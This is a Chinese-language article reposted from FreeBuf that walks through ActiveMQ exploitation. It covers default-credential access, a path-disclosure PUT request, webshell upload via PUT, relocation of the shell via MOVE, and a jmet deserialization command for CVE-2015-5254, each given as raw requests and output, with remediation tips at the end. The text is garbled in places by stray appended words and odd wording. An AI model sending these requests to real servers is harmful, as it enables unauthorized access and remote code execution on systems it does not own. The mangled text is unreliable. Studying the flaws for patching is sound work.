ActiveMQ漏洞利用方法總結

轉載來自：http://www.freebuf.com/column/161188.htmlhtml

一、Console存在默認端口和默認密碼/未受權訪問(默認密碼爲admin:admin)java

ActiveMQ默認使用8161端口，使用nmap對目標服務器進行掃描：python

[root@localhost src]# nmap -A -p8161 192.168.197.25 \ Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST Nmap scan report for 192.168.197.25 Host is up (0.00016s latency). PORT STATE SERVICE VERSION 8161/tcp open http Jetty httpd 7.6.7.v20120910 |_http-methods: No Allow or Public header in OPTIONS response (status code 401) | http-auth: HTTP/1.1 401 Unauthorized | |_basic realm=ActiveMQRealm |_http-title: Error 401 Unauthorized

二、ActiveMQ物理路徑泄漏漏洞git

ActiveMQ默認開啓PUT請求，當開啓PUT時，構造好Payload(即不存在的目錄)，Response會返回相應的物理路徑信息：github

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1 Host: 192.168.197.25:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 4 test

Response Raw:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory) Content-Length: 0 Server: Jetty(7.6.7.v20120910)

3、ActiveMQ PUT任意文件上傳漏洞web

ActiveMQ默認開啓PUT方法，當fileserver存在時咱們能夠上傳jspwebshell。shell

Request Raw:
PUT /fileserver/shell.jsp HTTP/1.1 Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 26 this is jsp webshell code.

Response Raw:
HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910)

通常構造返回204響應碼即爲成功，筆者測試其餘環境爲不可put時，返回爲404或500。 put完成，咱們查看service下的信息：apache

[root@localhost fileserver]# pwd /data/apache-activemq-5.7.0/webapps/fileserver [root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# cat shell.jsp this is jsp webshell code. [root@localhost fileserver]#

四、ActiveMQ任意文件文件移動漏洞服務器

ActiveMQ除了支持PUT協議以外，還支持MOVE協議。app

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1 Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 17 Content-Length: 0

Response Raw:
HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910)

服務器信息以下：

[root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# cat shell.jsp this is jsp webshell code. [root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# ls index.html META-INF WEB-INF [root@localhost fileserver]# cd .. [root@localhost webapps]# ls admin demo favicon.ico fileserver index.html styles [root@localhost webapps]# cd admin/ [root@localhost admin]# ls 1.jsp browse.jsp decorators index.jsp META-INF queueGraph.jsp send.jsp styles topics.jsp 404.html connection.jsp graph.jsp js network.jsp queues.jsp shell.jsp subscribers.jsp WEB-INF 500.html connections.jsp images message.jsp queueConsumers.jsp scheduled.jsp slave.jsp test xml [root@localhost admin]#

同理，寫ssh key同樣，在此再也不重複造輪子。

影響版本：Apache ActiveMQ 5.x ~ 5.14.0

CVE信息：CVE-2016-3088

4. ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ默認對外開啓61616端口，默認爲ActiveMQ消息隊列端口。

其中存在一下小的細節問題：

工具releaes的爲JDK 1.7，若是本身build可無視
使用工具須要在當前目錄下建立一個external目錄,不然會出現NoSuchFileException

經過構造payload,向隊列發送反序列化數據到消息隊列中。

(工具下載地址：https://github.com/matthiaskaiser/jmet)

[root@sevck_v3 ~]# java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616 INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1 INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py" INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1

查看消息隊列觸發：

服務器監聽：

注：若是反彈不成功可能的緣由是JAVA Runtime.getRuntime().exec()中不能使用管道符，須要進行一次編碼

影響版本：Apache ActiveMQ 5.13.0的版本以前的存在反序列化漏洞

CVE信息：CVE-2015-5254

5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)

在最新的版本中apache-activemq-5.15.0 toapache-activemq-5.15.2和apache-activemq-5.14.0to apache-activemq-5.14.5中61616默認使用了OpenWire協議，開啓了debug模式，debug模式會泄漏操做系統相關信息

影響版本：Apache ActiveMQ5.14.0 – 5.15.2

CVE信息： CVE-2017-15709

修復建議：

針對未受權訪問，可修改conf/jetty.xml文件，bean id爲securityConstraint下的authenticate修改值爲true，重啓服務便可
針對弱口令，可修改conf/jetty.xml文件，bean id 爲securityLoginService下的conf值獲取用戶properties，修改用戶名密碼，重啓服務便可
針對反序列化漏洞，建議升級到最新版本，或WAF添加相關規則進行攔截
針對信息泄漏漏洞，啓用TLS傳輸或升級到Apache ActiveMQ的5.14.6或5.15.3以上版本